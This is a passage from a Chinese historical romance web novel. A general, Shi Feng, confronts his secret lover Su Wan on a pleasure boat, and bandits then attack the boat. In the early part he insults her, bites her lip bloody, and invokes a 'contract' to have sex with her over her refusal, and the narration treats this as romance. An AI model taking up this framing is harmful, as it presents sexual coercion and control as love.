苏绾一惊，原来凉亭内的窃窃私语，竟然被他囫囵偷听了去。她想为自己辩驳几句，无奈被对方紧紧压制，根本无力反击。她面色苍白如纸，紧咬着嘴唇，努力克制眼泪。
时枫将所有怒气，化作一抹钝刀，反复磋磨。
“小婊子，没男人活不成是吗？”
心头陡然像被刺了一针，有点滴的血丝浮现。她无法为自己做任何辩解，仰着头，靠在舢板，空眼望那板上的窗孔，停在那里凝伫。
“回答我。”
苏绾阖合双眼，化作一尊女神雕像，散发着冷清而死寂的微光。对方先入为主，给她扣上莫须有的罪名，她再同他争论对错，又有什么意义。
时枫逼不出她的眼泪，将双臂支撑在苏绾脖颈两侧，嘴角散发出一点腥薄酒气，但他头脑很清醒。
“不是求我帮你远离他？怎么又反悔？你就这样下贱？”
那日收了眼线的消息，得知她身体不适，为此他心神不宁，日思夜想，总还是不放心。她性子急，万一受了刺激，又犯癔症怎么办？
他想当面跟她解释，苏尽欢的案子并非想象地那般简单，他也不是故意欺骗她，不给她办事。
于是他忽悠沈枝意逛北海，堂而皇之，又十分“巧合”地偶遇他们。
可她竟伏在温如初怀抱，娇滴滴地嗔怨他不要她，哪里是想退婚的样子？这女人分明就是想利用他，拿他当“冤大头”。
时枫瞪着血红的眼，恶狠狠碾上两片薄唇，发狠地咬下去，直咬出满嘴血腥。从未有人胆敢这般戏弄他，将他一颗真心，玩弄于股掌之间。他像发怒的野兽，恨不能将掌中猎物撕咬扯烂，抽筋拔骨。
“苏绾，你到底想要什么？”
时枫啐了一口血渣，凤眸里燃着怒火，睇着绝望无助的星眸，似要看透那颗百转千回的心。他想不通，苏绾人前人后，简直判若两人，仿佛戴着一千层面具，叫他窥探不到真面目。
苏绾以手背拭去嘴角血痕，抬眸睥着他，眼神勇毅果敢，“我想要的，第一次就已经告诉你了，还来问我做什么？”
见她终于肯开口，时枫心内一松，“你想假我之手，推开温如初。可你为何几次三番对他恋恋不舍，投怀送抱？”
他停顿了一瞬，咬了咬牙，“是怪我没能处理好苏尽欢的案子吗？”
苏绾冷笑道：“你见我贴着他，就认为我对他恋恋不舍？你可知道这世界上，有一种恶鬼，专以吃人为生，它们戴着人皮面具，混迹于尘世，世人极难分辨——温如初恰好就是鬼。你所认识的温如初，光风霁月，澹然朱紫，但那并不是真正的他。他面具底下隐藏的丑陋，你根本无法想象。”
时枫一脸愕然，眼神充满疑惑与不解，世界仿佛在这瞬间，摇身一变，成为千古谜题。
苏绾忽略他的目光，“温如初与别的鬼不同，他是世间至凶至残的恶鬼王。在你一无所知的情况下，他已渐渐把爪牙伸向京城各处，有朝一日，还要肆虐朝堂，□□。你当苏尽欢一案的结果，只是偶然？你可曾想过，夜鬼怎会踽踽独行？必是网罗一众乌合，沆瀣一气，形成坚不可摧之堡垒。恶鬼从来不惮以贪婪之心，窥探这满世繁华。”
她捂住颤动的胸口，星眸倒映满天星河，熠熠生辉，仿若神女下世，“我自不甘成为恶鬼的猎物，鬼要吃我，我岂能甘心束手就擒？但你叫我如何逃脱恶鬼的桎梏？我之所有，唯我自己。用我平凡的血肉身躯，去抵挡恶鬼青面獠牙。我还须借一柄三尺利剑，以勇气为锋，以刚毅为锷，上斩颈脖，下决肝肺，叫那恶鬼无处可逃。”
“你，就是我的剑。”
言讫，苏绾仿佛用尽最后一丝气力，如陨星坠落，眸子悄然黯淡，两汪氤氲水花汇成泪水，沿着桃花面颊汩汩而下。
时枫直直呆愣，反复琢磨她的那些言词，总觉得情理不通。他疑心她在装神弄鬼，企图逃避罪责与诘难，这女人嘴里没有一句实话。
可当他蓦然低首，撞见绝望无助的脸颊，又有些于心不忍，心里千百纠结烟消云散。这眼泪总算是给逼出来了——他要的不就是这个么。
男人垂眸，乌黑瞳仁睇着她，咬了咬嘴唇。大掌碾过脸颊，揩去伤心源泉。
女人苍白嘴唇索索地抖着，似有更多话语倾诉，却被粗壮指头堵住。
“不必多言，我知道了。”
苏绾微微惊愕，掀眸看他，望见柔软的眼眸，浓密黑长的睫毛扑扇，再无冷戾暴虐气息。像幽深墨潭，水面平静，没有一丝涟漪。
几缕残光从隔间顶端甲板缝隙内渗入，洒在男人刀劈斧削般的脸颊，陡然而落，连带着苏绾一起跌进那汪深潭，越陷越深。
苏绾闭上眼睛，轻轻无声地叹息，身体骤然懈力，筋软骨酥，化作一片翎羽，瘫倒在他怀里。
“坐下来说。”
时枫小心翼翼托着她坐在铺上，将她安置在膝间，正对着脸抱她，如同醉仙楼那日。他知道她不喜倚靠硬物，用柔软的怀抱拢着她。
垂眸低低望着她，看她弯弯眉黛下，洇润的星眸，映照漫天星辰。他在星河里徜徉，撞见一颗凌乱孤寂的心灵。
嫉妒的怒火猝然熄烬，心中唯有歉意与内疚。宽阔臂膀环绕她，帮她纾解压力。
“我错怪你了。”
他的声音低沉而稳重，呼啸轰鸣灌入耳际，带着不可承受之重。刹那间，苏绾的心灵仿佛被里外涤荡，温澜潮生，所有委屈和不满一扫而空。
“我保证不再有下次。”
苏绾倒在宽阔的胸膛，贴近温暖狂跳的另一颗心，满腔孤寂找到填补。渐渐地，坚硬如铁的外壳开始冰泮，死寂的心又重新活跃起来。
心里仍有些纳罕，为何狂暴野兽突然变得温驯柔软，不再对她利爪相虐，难道她念了什么驯兽咒语不成？
她怎会知道，他之索求，仅仅两滴眼泪而已。
在他听来，恶鬼之说荒诞无稽，宛如天方夜谭。但他晓得苏绾有癔症和疯症病史，担心她又一次濒临崩溃。只恨自己被嫉妒迷蒙了眼，变成苏绾口中所说的“恶鬼”，推她堕入无尽深渊。
不过，至少有一个答案他能够确认：她对那戴假面具的“恶鬼”，全是敷衍；而她在他面前流下的眼泪，也不是骗他。
如此一想，他禁不住得意起来。
“苏绾，我可以做你的剑，只要你能乖乖听话。”男人凑近她耳畔，声音低沉雄浑。
尽管那话语仍然充斥着专横跋扈与满溢的控制欲，但是苏绾明白，让不可一世的“冷面阎罗”低头认错，心甘情愿做她的棋子，难于上青天。
苏绾偎依在他怀里，睫毛剪了剪，眼眸凝结万年风霜。她不惜重活一世，终于抓住了时代的潮流，救命的稻草。
有他在，她可以的。
时枫捧她在怀里，好似一块宝贝，抱了许久，怎么都抱不够似的，直至苏绾开始挣扎，“你还不快走，耽搁太久，会被人发现。”<
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可他却死活不肯挪身。
方才不得尽兴，火气犹残，这会子又有些蠢蠢欲动，万物复苏的迹象。
“做你的剑，总要有些好处。”
时枫挑了挑眉，睐着佻达的眼，嘴角噙着不怀好意的笑。
苏绾杏眼圆睁，都什么时候了，这条黑狗居然还想祸害她，难道之前做得那些都白白付出么。
她坚决果断地摇摇头。
时枫不肯收回成命，凤眸一翻，摆出无赖相，“契约里怎么说来着？我想睡你，随时随地都可以。”
苏绾直想狠狠捶死他，这家伙的脑子长在下半身，都不考虑后果。外面那么多双眼睛盯着，被人发现只有死路一条。
男人却不管不顾，火气上涌，天王老子来了都不怕，邪魅勾唇一笑，“本将军保证下手悠着点。”
苏绾拗不过他，轻叹一口气，不喂饱这匹欲兽，铁定不会妥协让步。她只得收起抵抗的心思，化身待宰羔羊。
窗孔嵌进来微光，凉雨断断续续式微，偶有几滴水珠倏然而落，又在炽热情潮起伏中，升腾为薄雾袅袅。
时枫守信，果然没有吃死力，但他习武之人，身强体健，膂力过人，与常人大小亦不同。
男人翻手为云，覆手为雨。所到之处，每一下都是震撼心灵的致命打击。
苏绾只觉得昏了又死，死了又生，不住低低哀求，泪洒了几轮，也未曾改变他的凶狠霸道。哪里还是之前那个低声下气说着“我错了”的人。
苏绾流着泪，“求将军轻一些。”
然而换来的，却是更加猛烈的惊涛骇浪。翻天浪花拍打船板，遮掩隔间内的低吟。
时枫眷眷不舍从温柔乡割舍出来，心里直呼爽快。像啜饮一瓮陈年佳酿，浑身毛孔都清爽敞开，熏风解愠。
他有理由怀疑，苏绾是某种精灵花妖所化，浑身软绵绵，触摸娇滴滴。入之则又变作凶恶八爪鱼，狠狠咬住不松口。他非要使出全身尽数，与之缠斗三百回合，方有胜算。
时枫深刻体验到那句话的精妙，所谓“牡丹花下死，做鬼也风流”。这样一块尤物宝贝，得之幸之。当然不肯轻易拱手让人。
为薄红颜一笑，铤而走险亦值得。
时枫盘算着计划，站起身更衣，不小心触碰苏绾的脚踝，她眉间轻轻一蹙，声音极低地“啧”一下，却被黑豹般灵敏的感官捕捉。
“伤了？”
他猛然间意识到，苏绾为服从他的命令，佯作摔倒甲板，崴伤脚踝。心里似被狂风暴雨肆虐后的沉寂，脸色瞬间晦暗。
时枫从怀里掏出一枚六角剔红漆盒，棋子般大小，里面存放一种墨绿色透明膏体。时枫蘸取药膏，捧起雪白脚踝，温柔地扭动摩挲，“他有没有逼迫你？”
苏绾回忆起凉亭内惊心动魄一幕，不禁身子骨颤了颤，却是垂下头，一言不发。
她向来不爱诉苦，时枫也不再深究，他大概猜到，温如初多半又揪着她的错处，不肯放过她。
男人咬了咬后槽牙，“你不要急，答应你的事，我都会做到。倘若他再要你做些你不想做的事情，直接拒绝他就是，剩下的交给我来办。”
时枫将漆盒盖好，丢给苏绾，“拿去用，每日早晚涂抹，三日必好。”
苏绾秀眉轻皱，满脸厌恶之色，“什么鬼东西，毒药吗？”
时枫睨了她一眼，没好气地答道：“杀你焉用毒药？一掌劈死你就够了。我在漠南驻防时，这东西救过我的命。”
苏绾撇撇嘴，抚摸着受伤的脚踝，疼痛感已减轻不少，不知道是不是出于按摩的效果。她皱皱粉红鼻尖，冥冥之中，似乎摸索到一点与他相处的经验。
忽然敲门声骤起，震得苏绾一颤，“是谁？”
42. 闺蜜
“是我，沈枝意。”
清脆稚嫩声音传来，“绾姐姐，你在里面耽搁那么久，我来看看你是不是有什么事情。”
苏绾怛然失色。
“来了……”
她一边答应着，一边风驰电掣般整理好床铺，动作麻利地穿戴整齐。好在船家老婆的衣襟简单易穿，一件衣褂，一条绔子，随意套上而已。
时枫悠闲插着双臂，笑眼睇她忙碌，仿佛这一切和他没有半文钱关系。还时不时地踢一脚塌床木架，发出“吱嘎”声响，人为制造危险祸端，引得苏绾嗔目狠狠瞪他。
不知为何，他很享受看她为他心慌的样子，好似炸毛玉兔，掉进陷阱惶惶不安。而他，作为陷阱的缔造者——猎人，满心欢喜。
炸毛玉兔再也忍受不了猎人的挑衅，连连摆手催促他离开。
时枫擎住佳人后脑，凑到嘴边偷尝胭脂，狠狠地亲了一口，依依不舍捏了下桃花面颊。男人不慌不忙低下身，钻过墙壁隔板，从暗道原路返回，进入另一侧船舷隔间。动作如夜兽般迅敏无声，顷刻消失无踪，隔间余留淡淡的雪松气息。
送走阎罗王，苏绾快速整理云鬓，袖口擦拭某人在嘴边留下的罪证，眼眸沉沉，莲步轻挪，缓缓打开木门。
遇见一只百灵鸟。
沈枝意跨进隔间，娇俏鼻尖微微耸动，明眸不经意流转，觑着苏绾道：“绾姐姐，我方才见你脸色不大对劲，好似忍着痛。你是不是受伤了，还是有难言之隐？”
好细心的姑娘。
苏绾心内暗自赞叹，面上表情淡定，“无妨，甲板太滑，脚踝扭了下，已经全好了。”
沈枝意盯着苏绾看了又看，看得苏绾心慌，大有一种谎言被拆穿的既视感。
孰料沈枝意竟先乱了阵脚，葱指指着苏绾道：“呀！绾姐姐，你的嘴唇怎么破皮了？”
苏绾下意识地以手背遮挡裂唇，“脚伤……有点痛，强忍着，才咬破嘴。不碍事。”
不过两回合，苏绾应对不暇，捉襟见肘，对方实在太难缠。
沈枝意捉住苏绾一双葇荑，充满怜惜道：“绾姐姐何必独自忍受痛苦？是怕温侍郎担心吗？你俩感情真好，鸾俦凤侣，互为彼此挂念。比目相随何辞逝，只羡鸳鸯不羡仙。”
苏绾不知如何回应，只翘了翘嘴角。
沈枝意见她无大碍，这才放心，递上一包衣裙，“船家要我给你的，全都烘干了，暖洋洋的，好舒服哩。”
迟疑着，苏绾接过衣裙，却不着急换，她的身体刚被黑狗啃过，周身布满红印，暂时见不得光。有一搭没一搭同沈枝意叙话家常，问她和谁一起来京，住在何处，要住多久，诸如此类问题。
少女捋两根发辫，姿态天真浪漫，“我同爹爹端午节才到，暂时客居在枫哥哥府里，爹爹奉召而来，见过皇上以后，大概就要回去了，最多不过一月。”
她想了想，撅着小嘴惋惜：“温侍郎讲，你们婚期定在九月初八，我见不到绾姐姐穿婚服的模样啦。好可惜哟。”
一席话直撞进苏绾心里，苏夫人已同殷潜交涉，要让温如初提前南下巡察，六月底就要出发，这会子奏折应该已被批复，而她却还没有想好对策。
她不过沉默一瞬，沈枝意却像看穿她的心事般，抓着她的手腕，“绾姐姐不高兴结婚？”
被人击中要害，苏绾惊得一颤，慌忙下意识抽回手，强做镇静，道：“没有没有，婚期是由苏温两家共同商定，如今你无法参加，我替你感到遗憾。你走得这样匆忙，时将军会挽留你们吧。”
沈枝意双膝跪在铺上，满眼星光灿烂，“绾姐姐，不怕告诉你，我从小与枫哥哥定下娃娃亲，得到双方家长的首可。如今我已长大成人，是时候履行婚约啦。爹爹带我来京城，就是为我与时家商谈定亲事宜，安排三书六礼，不会耽搁太久。”
这次苏绾不藏着掖着，把惊诧明明白白写在脸上，手中石榴裙也掉落，“娃娃亲？他怎么没跟我提过？”
果然，沈枝意眸光一闪，“绾姐姐同枫哥哥很熟吗？我以前怎未听他说起过你？你们何时认识的？”
苏绾骤然意识到自己言行冒失，她与时枫才相识多久，他犯不着将家底都如数抖落给她看。
她眼神闪躲，连忙改口：“时将军隐藏够深的，马上就要定亲，却一点都不显山漏水。”
沈枝意障袂偷笑道：“都是我自已胡乱瞎想的，这事还没说定呢，枫哥哥也没表态。绾姐姐不要告诉别人哦。”
苏绾讪笑道：“放心，我自是不会同人讲。”
沈枝意坐了一阵，跟苏绾打声招呼就走了。随着木门咔嚓一声关闭，少女明亮眼眸瞬间暗沉，心底翻涌潮生沧海。
她预料的没错，时枫刚刚就待在船舱内，和苏绾在一起，小小隔间充满了松木香味——那是枫哥哥时常用的熏香。
孤男寡女，共处一室，非奸即盗。
自从时枫主动提出带她逛北海，沈枝意就感觉到不对劲，这并非枫哥哥的作风。
直至见到苏绾以后，时枫居然破天荒地邀请游江，他一向不喜欢应酬，又怎会上赶着打搅情侣幽会。
为此沈枝意拉住温如初谈天论地，故意拖延时间，给二人制造机会独处。
不出所料，一个假装滑倒，另一个故作微醺，千方百计凑到一处，极尽苟且龌龊之事。
“呸，下贱婊子，明明已谈婚论嫁，还要勾引枫哥哥，哄得枫哥哥上头。哪里是什么名门闺秀，分明一只骚狐狸。”
必须尽早告知温侍郎，揭露骚狐狸的丑恶嘴脸，让她从此不敢再招惹枫哥哥。
沈枝意勾了勾发梢，纯真眼神不经意间透着一股杀意，尽数淹没无穷海浪。身影一闪，向船舱深处跑去。
隔间内，剩下苏绾对着舢板木门空叹息。那个家伙，竟然也背负婚约，还是娃娃亲。既如此，该是设身处地理解女人的难处，如何这般难缠，还想尽办法骗她履行所谓的契约，哼，人渣。
可不知为何，她总觉得，沈枝意这丫头不简单。单看她为人处世态度，与前番吃酒行令时，就大不相同，少了一丝沉着冷静，多了一份刻意的天真。又是个鬼机灵，察言观色本事一流，令苏绾难以招架。
但愿沈枝意不要成为她前行路上的绊脚石，否则，即便是那家伙的意中人，也阻挡不了她前行的决心。挡我者，杀无赦。
她摸摸扭伤的脚踝，好得十分迅速，一炷香工夫，几乎青紫全无，得益于时枫留下的药膏。
兵营里摸爬滚打之人，果然很有经验。只不过那药膏一股柏子油气味，闻着有些刺鼻，苏绾不很喜欢，用过之后，随手揣进口袋，再不去想它。
心内不断恨恨腹诽渣男龌龊，苏绾穿戴船婆子烘好的石榴裙，极力遮掩身体被狗啃过的痕迹，确保自己不会露出破绽，这才窈窕趸出兰房。
莲步刚跨过木门，忽然船舱深处传来“砰”的一声巨响，紧接着一阵劲风过境，引起船身剧烈震荡，颠簸起伏，宛如枯木过江水。
苏绾被大船波动甩得前仰后合，晕头转向，站立不稳跌足摔倒。又不知从何处窜出一股浓浓黑烟，呛得她无法呼吸，咳嗽不止。
一边彷徨不知所措，她捂住胸口，跌跌撞撞爬起身，在黑烟弥漫中摸索前行，口中大呼：“有人在吗？”
眼前人影憧憧，被黑烟遮挡面容，勉强显露人形，大嘴咧开露出森森白牙，“小娘子，你往哪儿跑。”
听声音来者不善，苏绾果断转身就跑，可还没迈出两步，身体陡然被人腾空架起。她急得小腿乱蹬乱踹，“放开我。”歪头寻到束缚她的粗壮手臂，“吭哧”一口狠命咬下去。
那人疼得吱哇乱叫，恶狠狠甩
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小鸡子般甩掉苏绾，“敢咬老子，活得不耐烦。”
谢天谢地，和那个铜头铁臂的家伙相比，这人简直柔弱如鸡。苏绾得空喘息，寻着光亮源头，提裙不顾一切向船舷外跑。
光亮尽头，硝烟滚滚。
苏绾一心往外逃，前方路模糊不清，结果迎头撞进一座大山。
“哎哟。”
抬眼一看，噫，这不是湖边揍人的络腮胡么？
此人凶狠残暴，杀戮同僚，绝非善类。她果断掉头向后逃跑，后方遭她啃咬的歹匪霍霍逼近，她已无路可退。
苏绾攥紧手心。
这到底是怎么回事？
一切发生地太过突然，让她无力思考反击。
黑雾连山处，突然冲出船婆子，满身鲜血淋漓，惊叫迎面跑来，“姑娘，救救我。”
苏绾不假思索伸出手臂接应，“你快过来。”
身后络腮胡端起叉鱼连弩，嗖的一下，标枪射中船婆。女人应声倒地，连句遗言也未留下，掌尖将将够到苏绾的绢鞋面，留下五个血红的手指印。
“啊——”
血腥场面刺激了苏绾的神智，她双眼睁得大大，面色苍白，额首沁满冷汗，身子止不住地颤抖。
她摇摇晃晃屈膝跪下，双手颤颤巍巍，拂过船婆子未及瞑目的眼，脑中一片空白。
就在刚刚，她还穿着船婆的衣裳，在隔间里肆意挥霍人生。而衣裳的主人，人生却戛然而止。
生命，如此脆弱。
烟雾散尽，凫皮靴踏着血泥，一步一个赤脚印，衬托竹月色绢纱襕衫，风吹浪动云根，梦幻般飘逸摇曳。
苏绾掀起迷蒙的眸，望见陌生且熟悉的脸颊，细长眼角，棱静檀唇，头簪网巾，襕衫风尘冉冉，带着秋月寒山的孤冷。
“你和船婆子很熟？她死不死，与你何干？”语气不紧不慢，好似闲逛的游客。
“不过萍水相逢，一锤子买卖，弄得像血脉相连的亲眷，这般生死相依，女人真是奇怪。”细长眼角瞟了瞟，倒真好似完全无法理解。
难以理解的人不止他一个，苏绾对于突然发生的状况尚且一无所知，尤其是眼前这个人，逻辑混乱，语无伦次，完全听不懂他的话语。
苏绾问道：“你想干什么？”
那公子宽大袍袖一甩，轻描淡写道：“我想做什么，不是很明显吗？水贼上船，打家劫舍。我要拿你的命，换取我想要的东西。”
“你怕了吗？”
苏绾凝眉仔细盯了襕衫公子一阵，不知为何，总感觉他的面相有些似曾相识。她搜索两世记忆深海，终一无所获，这人好像隐藏在石缝罅隙的蜈蚣，遍寻不到他的踪影，但她明明记得有这么个人存在。
襕衫公子见苏绾愣着不作答，拿细长的眼角睨她，“等你的心上人救你？他现在忙得很，没空理你。”
苏绾以为他口中的“心上人”，毫无疑问指的是温如初，也便放胆斥道：“大胆狂徒，你可知他是谁？他是三品户部侍郎温如初，京城官场权贵，世家大族，三教九流，哪个不要看他的面子说话。你拿我的命来威胁他，恐怕打错算盘了。”
“呵。”襕衫公子一声嗤笑。
“温侍郎……不过狗仗人势。他背后撑腰的主人，也奈何不了我几分，何况区区一条狗？”
细长眼角挑了挑，“被你舍弃的鸡肋，我为何要捡起来舔上几口？”
讲得什么乱七八糟的话，让人完全听不懂。哪知下面一句话，却让苏绾瞬间浑身冰凉。
襕衫公子伸开两臂，带着狰狞的笑意，“你不会以为，自己玩弄所有人于股掌间吧？这条船上，恐怕只有你一个自以为是的傻瓜。”
苏绾大吃一惊，“你、你是说……”
细狭眸色猝然晦暗，声音沉寂如海，“你猜，他会不会选择你？”
43. 水贼
另一边船舷隔间外。
画舫接连发生的变故，立刻引起时枫的警觉。他快速逡巡船舱，周围浓烟滚滚，视野受限，看不清楚状况。他果断抽出腰间系着的汗巾，蘸船舷凹槽积存的雨水，捂住口鼻向船舱深处走去。
平静水面涟漪叠起，漩涡中心悄悄钻出几只黑影，抓住船舷铺设的缆绳，无声无息攀爬船顶。
几杆鱼枪嗖嗖袭来，直击时枫后背。
男人一个漂亮的仰身回转，完美躲避敌人攻击。
水鬼穿着熟绢水裈，头戴黑布面罩，手握短刀匕首，呈半圆状队列，齐齐靠拢。
时枫自腰间束带内侧，兀自抽出一柄三尺长鱼鳞软剑，潇洒横头一剑，寒影曝射。
锋利剑刃割破前排先头兵的喉咙，鲜血如泉眼瞬间喷涌。
其余水鬼一拥而上，展开群起攻击。
软剑飞梭，金光闪耀，不多时，十几水鬼瞬间被尽数拿下。
冷剑闪着金光，指向唯一活口。
“谁派你们来的？”
水鬼一声不吭，咬舌自尽。
无暇多想，时枫提着鱼鳞剑，踩着满地尸身，向船舱中心的茶室奔去。
他在心里快速分析战况，敌人虽水鬼打扮，然手段狠辣，训练有素，不像是寻常打家劫舍的歹匪——上来不问钱财背景，一心取人性命。
男人提剑风雷前行，视线豁然开朗。
茶室人满为患，水鬼匕首抵着船老大的喉咙。
船夫见船老大被制服，失去抵抗力，乖乖束手就擒，整座画舫已被水贼控制。
温如初被困在茶室中央，私服出游又没带侍卫，颇有种穷途末路的窘迫。桃花眼眸晦暗，面容沉静，双手搭在椅臂，两腿微微分开，牙白锦袍铺满藤椅。
时枫躲在阴影里，瞅准时机捕捉温如初的眼神。
只一两个转眸，眼神猝然相遇。
时枫伸出两根手指，微微弯了弯，“两位姑娘怎么样？”
温如初阖合眼眸，几不可察地摇摇头，“她们不在这边。”
时枫眉间拧了拧，看来敌人算准了四人分散一方，采取“分而击之”策略。非临时起意，当是蓄谋已久。
他拍拍胸膛，按下手掌，“我去找她们。”
食指点点温如初，“你找机会逃跑。”
温如初微微颔首，眼角扫过水鬼手中的鱼枪，只他一人的话，逃脱应该不是问题。
他二人从小玩到大，彼此之间形成默契，单凭一个眼神，便知对方所想。
忽然左舷上路传来沈枝意惊恐尖叫：“枫哥哥，快来救我！”
恰时节，右舷下层响起苏绾的绝望而恐惧的声音，“啊——”。
两边同时发生状况。
温如初剪了剪桃花眼眸，“你要救哪个？”
男人咬了咬牙，再也不去瞧发小兄弟的眼神，转身消失于风浪云平。
桃花眼眸愈发晦暗，眸底波涛汹涌潢潦，可怜的仅存一分的信任，顷刻间化为乌有，随风而逝。
苏绾心情十分矛盾。一方面，她渴望时枫拯救她出水火；另一方面，她又怕被温如初看破她的秘密。
以至于当男人踏着风浪，翛然出现视野中时，她竟然微微叹了口气。
那点小小的叹息，被身旁的襕衫公子瞧得一清二楚。
“看来我赌对了。”
他陡然站起身，袖内抽出折扇，难以压抑心中兴奋。
远处男人抽出松花汗巾，不慌不忙擦拭鱼鳞软剑的血痕，眼角不时扫过周遭，暗中观察是否藏有埋伏机关。
左前方椽木后端，五人隐藏其后；右前方桅杆处，露出黑色衣角；船舱顶部趴伏三四蒙面人，到处隐藏危机。
此人绝非普通人，应是受过严格的军事训练，夺船过程经过周密布置，事先踩点，抢在他们之前早早登船。
所为何来？
男人凤眸闪动，金剑一指，声音冰冷：“报上名来。”
襕衫公子停住折扇，拱手拜道：“在下姓萧，萧染，京城良家子，见过时将军。”
时枫啐了一口，“没听说过。”
萧染的细长眼眸闪了闪，“而今不是听说了吗？”
竹月色襕衫袍子一甩，“萧染久仰将军大名，‘冷面阎罗’谁人不知，谁人不晓？将军此次驾临京城，在下恭求拜会，惟愿与君临江对月畅饮。可惜你那守门的侍卫狗眼看人低，不肯替我递帖子，萧染只好毛遂自荐，亲自找上门来。”
细长眼眸目空一切，“赢了你，我就是下一任‘冷面阎罗’，而这京城布防司的天下，将由我萧染掌管。”
“敢问将军，今日可有空暇，与在下切磋切磋？”
又是一个沽名钓誉之流，但时枫并不相信他的这套说辞。
作为京卫指挥使，名义上旨在拱卫京师，然而京城重地，鱼龙混杂，三教九流，黑白两道，各为其主。倘若时枫连这点自觉都没有，他都不能活着从漠北走到京城，半路就会被人干掉。
萧染非黑非白，出师不明，下三滥的谋略，只会拿女人当钓饵。
小人。
松花汗巾凭空一丢，男人剑指萧染，凤眸增添一丝冷戾，“放了她，一切都好说。”
萧染回眸扫了眼苏绾，佳人神情专注，面色因紧张而略显泛红，身体微微颤抖，好似掉入陷阱的猎物。
小小收获愉悦了猎人的心，萧染打趣道：“放了这只金丝雀，我还有什么资格，与将军坐在同一桌牌局？”
折扇抵住佳人下颌，眼眸泛漾笑意，“我可是好不容易才逮住她的哟。”
“你放肆。”苏绾被人调戏，又气又羞，玉手狠狠甩掉折扇。
看她那副对敌人的厌恶感，瞬间平复男人焦灼的心，方才他情急之下，手里的鱼鳞软剑已然伸出去半寸。
细长眼眸将二人心事尽收眼底，萧染笑了笑，“本来我是想抓与你同行的江南小妮子，可我上船逛了一遭，却发现见不得光的小秘密。”
扬起骨节分明的细长手指，尝试捕捉风的影子，“啧啧，原来时将军好这口，喜欢偷鸡摸狗。”
停住手指，眼神迷离，“在下十分好奇，温侍郎的未婚妻，食之味如何？”
鼻翼翕动，嗅闻花香，“哦，原来是背叛的味道。”
“兄弟妻，不可欺。”萧染喃喃道。
眼神一凛，“‘冷面阎罗’的名头，该易主了。”
“来人呐，把我斧子拿来。”
萧染解开衣扣，脱掉襕衫，露出结实肌肉，后背纹十朵各色蔷薇花，花色鲜艳夺目，根茎棘刺乍现，刺尖沾染风浪。
随从递上镀金蘸斧，斧柄一尺来长，斧头金光灿灿，斧刃锋利闪耀寒光。
萧染手握金蘸斧，挥斥方遒，熙熙然向时枫迎面劈来。
时枫攥紧鱼鳞剑，剑花出泞尘，绕指柔索索缠金刚斧。
襕衫公子愈战愈勇，金蘸斧耍得虎虎生风，劈剁搂云，片砍削撞，劈山开岭，气势粗犷豪壮。
玄袍将军应接不暇，鱼鳞剑如飞风，抽带提格、击刺点崩、搅压劈截洗，动作轻快敏捷，潇洒飘逸。
二人武力相当，刚柔并济，交手十余回合，暂不能分胜负。
跟疯子硬拼不是办法，须寻逃脱之道。
剑斧相拼的罅隙，男人眼角暗暗扫过佳人，见她朱唇紧闭，估计嘴巴里面咬得全是鲜血。
黯淡星眸对接清冷凤眸，两颗心灵彼此联结，瞬间生出共同计划，心有灵犀一点通。
时枫金剑探出，虚晃一招，引得萧染侧身一躲。
苏绾故技重施，拿出西厢房和春月坊使过的独门绝技，手刀猛砍挟持她的络腮胡喉咙，膝盖用力向上一顶，击中柔软圆滚处。
不出所料，壮硕如牛的络腮胡，“啊”的一声，嚎叫虾子般跳离弹开。
再强壮的男子，也禁不住这两招夺命连环技。
趁络腮胡嚎叫之际，苏绾捉裙两步跨上船舷，面对翻天浪潮，想也不想径直跳入江涛。
这边时枫横剑飞甩，金剑在空中滑过一段弧光，男人顺势一出溜，游鱼一般钻入碧波。
暗处埋伏的敌人方才警醒，鱼叉鱼枪纷纷如雨天星落，嗖嗖扎入江浪。
密不透风的轮番扫射之后，江面恢复平静，不见鱼儿上钩，血水上涌。
不过一瞬间，二人双双入江。
萧染瞠目结舌，双拳竖立，赤膊马步。
居然在他眼皮子底下，囚禁猎物生生逃脱困局。
短短二十载生涯，再也没有比此时此刻更加耻辱的一天。
金蘸斧带着满腔怒火飞掷出去，当啷啷，正插进苏绾跳下的船舷，深入一寸多深。
“将船炸成飞灰，不留一处活口。”
细长眼眸渐渐隐没，前尘往事不堪回首。
究竟要怎样，才不会让九泉之下的她，对自己失望呢？
江涛簸岸，黄沙拍走。
时枫拖拽苏绾的身体，奋力向岸边游去。他水性尚佳，然而刚刚猫在船底躲避弩箭袭击，憋气时间过长，导致头脑有些眩晕。
好在苏绾亦懂泅水，拉扯并不怎么费力气。
“你干嘛救我？”苏绾搂着时枫的脖颈，边游边抱怨。
时枫凤眸一沉，“怎地，你就那么想死？还怪我救你了。”
苏绾嗔道：“好歹先去救你的未婚妻啊。”
男人闻言一震，洑水速度明显放慢，语气有些心虚：“你脑子进水了，净说
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些狗屁话。我哪里来的未婚妻，你是我什么人，管我那么多。”
苏绾翻了翻眼眸，“你的私事我管不着，然而你平白无故丢下她，不是白白惹人家伤心难过？再说……”
“再说，你也怕被温如初看见，怕他知晓你做的那些杀人越货的丑事。”男人故意抢过话头，堵苏绾的嘴。
“你……”苏绾气得扁嘴。
贼喊捉贼，还不都是受他逼迫。
终于靠近河岸，时枫挣扎站起身，横腰抱起苏绾。才走了两步，忽然树荫底下窜出几道人影，呼和喝斥声四起。
吓得苏绾缩进男人胸怀。
人影逼至跟前，仔细一看，竟是手握金刀的侍卫。
原来有人发现自画舫逃出的客人，立即通报巡城兵马司，守卫士兵迅速集结队伍赶来增援。另有一支巡逻兵搭乘官船，围剿画舫受困的人员。
时枫总算放心，想必温如初和沈枝意都已安全脱险。他抖了抖湿透的衣袍，打算先将苏绾抱到自己的马车，再驱车送她回家。
熟悉的牙白锦袍一闪而至，桃花眼眸剪了剪。
“榆白，你怀里抱着的，可是我的妻？”
时枫闻言一愣，低眸俯视苏绾，此刻她的眼睛睁得大大，仿佛见了鬼。
他下意识地后退一步，犹豫着，迟疑着，低头间，万般心事涌上心头，偏不想双手奉还。
温如初粲然一笑，“怎么，榆白想夺人所爱？”桃花眼眸凝结万年风霜，“也不问问我这做兄弟的，答不答应。”
眼见铁兽的手臂箍得越来越紧实，苏绾再也撑不住，急急地挣脱时枫的怀抱。
“我没事了，多谢将军搭救。”
她不痛不痒地说道。
冷漠话语刺了时枫的脸，他正欲发作，忽然闷天一声震雷响，带动地面也跟着摇晃。
巨大火球自江心画舫爆裂，浓浓黑烟扩散上升。江水遽然涨潮，翻天巨浪猛烈拍击江岸。树林群鸟惊起，翅膀扑棱扑棱，鸣叫四散逃窜。
“你做了错误的选择，那个女孩还在船上。”温如初冷冷说道。
